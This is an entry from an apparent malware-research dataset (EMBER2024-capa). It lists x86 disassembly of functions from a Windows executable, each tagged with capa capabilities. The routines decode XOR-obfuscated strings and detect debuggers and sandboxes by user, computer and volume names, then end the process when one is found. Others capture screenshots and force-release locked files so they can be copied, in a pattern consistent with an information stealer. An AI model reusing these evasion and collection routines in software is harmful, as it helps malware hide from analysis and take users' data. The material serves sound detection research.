joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bdd0
Capabilities:
Check os version
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0x1a], 0xfbd7ceeb
xor ecx, ecx
mov dword [ebp - 0x16], 0xa5e9cad8
mov dword [ebp - 0x12], 0xabaab1b3
mov word [ebp - 0xe], 0xab
mov byte [ebp - 0xc], 1
nop word [eax + eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 0xd
jb 0x40be00
mov byte [ebp - 0xc], 0
xor ecx, ecx
mov dword [ebp - 0xb], 0xd0dfcef7
mov dword [ebp - 7], 0xacdb90d1
mov word [ebp - 3], 0xad
mov byte [ebp - 1], 1
nop dword [eax + eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x40be30
lea eax, [ebp - 0xb]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x1a]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40be65
lea ecx, [ebp - 0xb8]
push ecx
call eax
jmp 0x40be72
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [ebp - 0xb4]
cmp eax, 0xb
je 0x40be82
cmp eax, 0xa
jne 0x40be91
cmp dword [ebp - 0xb0], 0
je 0x40beab
xor al, al
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x40be8b
mov eax, dword [ebp - 0xb0]
cmp eax, 3
je 0x40beab
cmp eax, 2
sete al
mov esp, ebp
pop ebp
ret
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x40bf60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0x100d8cb
xor ecx, ecx
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 4], al
inc ecx
cmp ecx, 2
jb 0x40bf70
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 4]
push ebx
lea eax, [ebp + 8]
mov byte [ebp - 1], 0
cmovae eax, dword [ebp + 8]
push ecx
push eax
call fcn.004e32b0
add esp, 8
test eax, eax
je 0x40bfab
push eax
call fcn.004e6b38
add esp, 4
mov bl, 1
jmp 0x40bfad
xor bl, bl
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x40bfdd
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40bfd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bfe4
push ecx
push edx
call fcn.004dd461
add esp, 8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e2700
int3

Function at 0x40bff0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x538280
mov esi, ecx
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x40c05e
test esi, esi
je 0x40c047
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40c012
sub ecx, edx
je 0x40c047
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40c043
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x40c043
cmp eax, 0x20
je 0x40c043
cmp eax, 0x45
je 0x40c043
cmp eax, 0x24
jne 0x40c047
mov bl, 1
jmp 0x40c049
xor bl, bl
push 0x538280
call fcn.004dc773
add esp, 4
mov al, bl
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push eax
call fcn.004dc40b
int3
Function at 0x40c070
Capabilities:
Create directory

Disassembly:
push esi
push 0x538280
mov esi, ecx
call fcn.004dc762
add esp, 4
test eax, eax
jne 0x40c09f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x538280
mov esi, eax
call fcn.004dc773
add esp, 4
mov eax, esi
pop esi
ret
push eax
call fcn.004dc40b
int3
Function at 0x40c880
Capabilities:
Capture screenshot
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
push esi
push edi
push 0
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], ecx
push eax
lea eax, [esp + 0x34]
mov dword [esp + 0x2c], 0x64
push eax
mov dword [esp + 0x3c], 1
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x40ca87
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov edi, eax
call esi
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_GetDC]
mov dword [esp + 0x14], eax
test eax, eax
je 0x40ca7d
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov dword [esp + 0x10], eax
test eax, eax
je 0x40ca71
push edi
push esi
push dword [esp + 0x1c]
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [esp + 0x20], eax
test eax, eax
je 0x40ca67
push eax
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [esp + 0x20]
push edi
push esi
push 0
push 0
push dword [esp + 0x30]
call dword [sym.imp.GDI32.dll_BitBlt]
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push dword [esp + 0x28]
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
push eax
lea eax, [esp + 0xc]
mov dword [esp + 0x10], 0
push eax
call dword [sym.imp.gdiplus.dll_GdipGetImageEncodersSize]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40ca11
push eax
call fcn.004ebe7c
mov edi, eax
add esp, 4
mov dword [esp + 0x18], edi
test edi, edi
je 0x40ca11
push edi
push dword [esp + 0x10]
push dword [esp + 0x10]
call dword [sym.imp.gdiplus.dll_GdipGetImageEncoders]
xor esi, esi
cmp dword [esp + 8], esi
jbe 0x40ca08
add edi, 0x30
nop dword [eax]
mov eax, dword [edi]
mov ecx, str.image_png
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40c9ed
test dx, dx
je 0x40c9e9
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40c9ed
add eax, 4
add ecx, 4
test dx, dx
jne 0x40c9c7
xor eax, eax
jmp 0x40c9f2
sbb eax, eax
or eax, 1
test eax, eax
je 0x40ca8f
inc esi
add edi, 0x4c
cmp esi, dword [esp + 8]
jb 0x40c9c0
mov edi, dword [esp + 0x18]
push edi
call fcn.004eb726
add esp, 4
movups xmm0, xmmword [0x50eaf8]
mov esi, dword [esp + 0x1c]
lea eax, [esp + 0x24]
mov dword [esp + 0x6c], eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x44]
mov dword [esp + 0x54], 1
push eax
push dword [esp + 0x30]
movups xmmword [esp + 0x60], xmm0
push esi
mov dword [esp + 0x78], 4
mov dword [esp + 0x74], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [esp + 0x20]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
push dword [esp + 0x10]
call dword [sym.imp.GDI32.dll_DeleteObject]
push dword [esp + 0x14]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [esp + 0x2c]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x18]
imul eax, esi, 0x4c
push ecx
movups xmm0, xmmword [eax + ecx]
movups xmmword [esp + 0x44], xmm0
jmp 0x40ca09
Function at 0x40da60
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xc], 0
je 0x40da82
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0xb
jb 0x40da70
mov byte [esi + 0xc], 0
mov eax, esi
pop esi
ret
Function at 0x40dcf0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 7], 0
je 0x40dd12
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 6
jb 0x40dd00
mov byte [esi + 7], 0
mov eax, esi
pop esi
ret
Function at 0x40f2c0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x11], 0
je 0x40f2e2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x10
jb 0x40f2d0
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret

Function at 0x40f2f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x10], 0
je 0x40f312
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0xf
jb 0x40f300
mov byte [esi + 0x10], 0
mov eax, esi
pop esi
ret

Function at 0x40f320
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 9], 0
je 0x40f342
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 8
jb 0x40f330
mov byte [esi + 9], 0
mov eax, esi
pop esi
ret

Function at 0x40f350
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xb], 0
je 0x40f372
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0xa
jb 0x40f360
mov byte [esi + 0xb], 0
mov eax, esi
pop esi
ret

Function at 0x40f380
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xd], 0
je 0x40f3a2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0xc
jb 0x40f390
mov byte [esi + 0xd], 0
mov eax, esi
pop esi
ret

Function at 0x40f3b0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x13], 0
je 0x40f3d2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x12
jb 0x40f3c0
mov byte [esi + 0x13], 0
mov eax, esi
pop esi
ret

Function at 0x40f3e0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1c], 0
je 0x40f402
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x1b
jb 0x40f3f0
mov byte [esi + 0x1c], 0
mov eax, esi
pop esi
ret

Function at 0x40f410
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x18], 0
je 0x40f432
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x17
jb 0x40f420
mov byte [esi + 0x18], 0
mov eax, esi
pop esi
ret

Function at 0x40f440
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x15], 0
je 0x40f462
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x14
jb 0x40f450
mov byte [esi + 0x15], 0
mov eax, esi
pop esi
ret

Function at 0x40f470
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x22], 0
je 0x40f492
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x21
jb 0x40f480
mov byte [esi + 0x22], 0
mov eax, esi
pop esi
ret
Function at 0x40f4a0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0xf], 0
je 0x40f4c2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0xe
jb 0x40f4b0
mov byte [esi + 0xf], 0
mov eax, esi
pop esi
ret

Function at 0x40f4d0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
je 0x40f4f2
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x13
jb 0x40f4e0
mov byte [esi + 0x14], 0
mov eax, esi
pop esi
ret
Function at 0x414500
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1d], 0
je 0x414522
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x1c
jb 0x414510
mov byte [esi + 0x1d], 0
mov eax, esi
pop esi
ret
Function at 0x4149e0
Capabilities:
Copy file
Create restart manager session
Enumerate processes that use resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50447d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x334
push ebx
push esi
mov ebx, edx
push edi
mov dword [ebp - 0x20], ebx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x414b0f
mov ecx, edi
mov byte [ebp - 0x14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x414a20
sub ecx, edx
push ecx
push edi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x58]
call fcn.00477ae0
add esp, 0xc
push 0x42
lea eax, [ebp - 0xa0]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0xa0]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
mov esi, eax
test esi, esi
jne 0x414af0
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x3c]
call fcn.00465a40
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
push esi
cmovae eax, dword [ebp - 0x3c]
push esi
push esi
push esi
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
push 1
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
mov esi, eax
test esi, esi
jne 0x414ae8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x340]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
mov esi, eax
test esi, esi
je 0x414ad3
cmp esi, 0xea
jne 0x414ae8
cmp dword [ebp - 0x14], 0
jbe 0x414ae8
push 0
push 1
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmShutdown]
mov esi, eax
lea ecx, [ebp - 0x3c]
call fcn.00468480
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea ecx, [ebp - 0x58]
mov dword [ebp - 4], 0xffffffff
call fcn.00468480
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push ebx
push edi
call esi
test eax, eax
setne bl
test eax, eax
jne 0x414b54
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x414b54
mov ecx, edi
call fcn.0040aba0
push 0
push dword [ebp - 0x20]
push edi
call esi
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415310
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x415350
Capabilities:
Encode data using xor
Get hostname
Get session user name
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push 0x100
lea eax, [ebp - 0x118]
mov dword [ebp - 0x10], 0x100
push 0
push eax
mov dword [ebp - 0x14], 0x100
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0x100
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov dword [ebp - 9], 0xd2d3d5f3
xor ecx, ecx
mov dword [ebp - 5], 0xdad1f9
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x4153d0
lea eax, [ebp - 9]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.004deab0
add esp, 8
test eax, eax
jne 0x415436
mov dword [ebp - 8], 0x85f7fbf1
xor ecx, ecx
mov dword [ebp - 4], 0x100f6e9
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x415408
lea eax, [ebp - 8]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004deab0
add esp, 8
test eax, eax
jne 0x415436
xor al, al
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x415490
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov eax, 1
lea edi, [ebp - 0x10]
xor ecx, ecx
xorps xmm0, xmm0
push ebx
cpuid
mov esi, ebx
movups xmmword [ebp - 0x10], xmm0
pop ebx
mov dword [edi], eax
mov dword [edi + 4], esi
mov dword [edi + 8], ecx
mov dword [edi + 0xc], edx
mov ebx, dword [ebp - 8]
shr ebx, 0x1f
and bl, 1
mov dword [ebp - 0xe], 0xd2c9dfd2
mov dword [ebp - 0xa], 0xf28cd2d8
xor eax, eax
mov dword [ebp - 6], 0xa8afa6ef
mov word [ebp - 2], 0x100
lea ecx, [eax - 0x47]
xor byte [ebp + eax - 0xe], cl
inc eax
cmp eax, 0xc
jb 0x4154e1
lea eax, [ebp - 0xe]
mov byte [ebp - 1], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
movzx ecx, bl
mov eax, 1
pop edi
cmove ecx, eax
pop esi
mov al, cl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415750
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x29], 0
je 0x415772
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x28
jb 0x415760
mov byte [esi + 0x29], 0
mov eax, esi
pop esi
ret

Function at 0x415780
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
xor bl, bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x4157a2
push 0x15
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x4157a4
mov bl, 1
mov dword [ebp - 5], 0xe780fa
xor ecx, ecx
mov byte [ebp - 1], 1
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 5], al
inc ecx
cmp ecx, 3
jb 0x4157b1
push 0x105
lea eax, [ebp - 0x120]
mov byte [ebp - 1], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x105
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 5]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x415920
mov dword [ebp - 9], 0xc4d4f8ef
xor ecx, ecx
mov dword [ebp - 5], 0xc9ccf9
mov byte [ebp - 1], 1
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 9], al
inc ecx
cmp ecx, 7
jb 0x415810
mov byte [ebp - 1], 0
lea ecx, [ebp - 9]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415850
test dl, dl
je 0x41584c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415850
add eax, 2
add ecx, 2
test dl, dl
jne 0x415830
xor eax, eax
jmp 0x415855
sbb eax, eax
or eax, 1
test eax, eax
je 0x415919
mov dword [ebp - 8], 0xc4d4f8ef
xor ecx, ecx
mov dword [ebp - 4], 0x100f8ee
nop dword [eax]
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 6
jb 0x415870
mov byte [ebp - 1], 0
lea ecx, [ebp - 8]
lea eax, [ebp - 0x120]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4158b0
test dl, dl
je 0x4158ac
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4158b0
add eax, 2
add ecx, 2
test dl, dl
jne 0x415890
xor eax, eax
jmp 0x4158b5
sbb eax, eax
or eax, 1
test eax, eax
je 0x415919
mov dword [ebp - 0xb], 0xc4d4f8ef
xor ecx, ecx
mov dword [ebp - 7], 0xb3dacbfa
mov word [ebp - 3], 0xb5
mov byte [ebp - 1], 1
lea eax, [ecx - 0x47]
xor byte [ebp + ecx - 0xb], al
inc ecx
cmp ecx, 9
jb 0x4158d3
mov byte [ebp - 1], 0
lea ecx, [ebp - 0xb]
lea eax, [ebp - 0x120]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x415910
test dl, dl
je 0x41590c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x415910
add eax, 2
add ecx, 2
test dl, dl
jne 0x4158f0
xor eax, eax
jmp 0x415915
sbb eax, eax
or eax, 1
test eax, eax
jne 0x415920
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x416720
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x2b], 0
je 0x416742
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x2a
jb 0x416730
mov byte [esi + 0x2b], 0
mov eax, esi
pop esi
ret

Function at 0x416750
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1a], 0
je 0x416772
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x47]
inc eax
xor byte [edx], cl
cmp eax, 0x19
jb 0x416760
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
ret

Function at 0x4167c0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x50458b
push eax
mov dword fs:[0], esp
mov eax, dword [0x538664]
push ebx
sub esp, 0x20
push esi
mov esi, ecx
push edi
test al, 1
jne 0x416848
or eax, 1
mov dword [0x538664], eax
xorps xmm0, xmm0
mov dword [0x53867c], 2
movups xmmword [0x53866c], xmm0
mov eax, 0x2f5c
mov dword [0x538680], 0xf
push 0x50c170
mov word [0x53866c], ax
mov byte [0x53866e], 0
call fcn.004dd44c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x416852
mov eax, dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41692f
cmp dword [0x538680], 0x10
mov eax, 0x53866c
mov edi, dword [esi + 0x10]
mov ecx, esi
cmovae eax, dword [0x53866c]
cmp dword [esi + 0x14], 0x10
jb 0x416882
mov ecx, dword [esi]
push dword [0x53867c]
mov edx, edi
push eax
push ecx
call fcn.0046b6e0
add esp, 0xc
cmp eax, 0xffffffff
je 0x416906
cmp edi, eax
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmovb eax, edi
mov ecx, esi
cmp dword [esi + 0x14], 0x10
movups xmmword [ebp - 0x2c], xmm0
jb 0x4168bd
mov ecx, dword [esi]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004028a0
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 1
call fcn.004167c0
mov ecx, dword [ebp - 0x18]
cmp ecx, 0x10
jb 0x416906
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4168fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x416944
push ecx
push edx
call fcn.004dd461
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x41690e
mov esi, dword [esi]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e2700
int3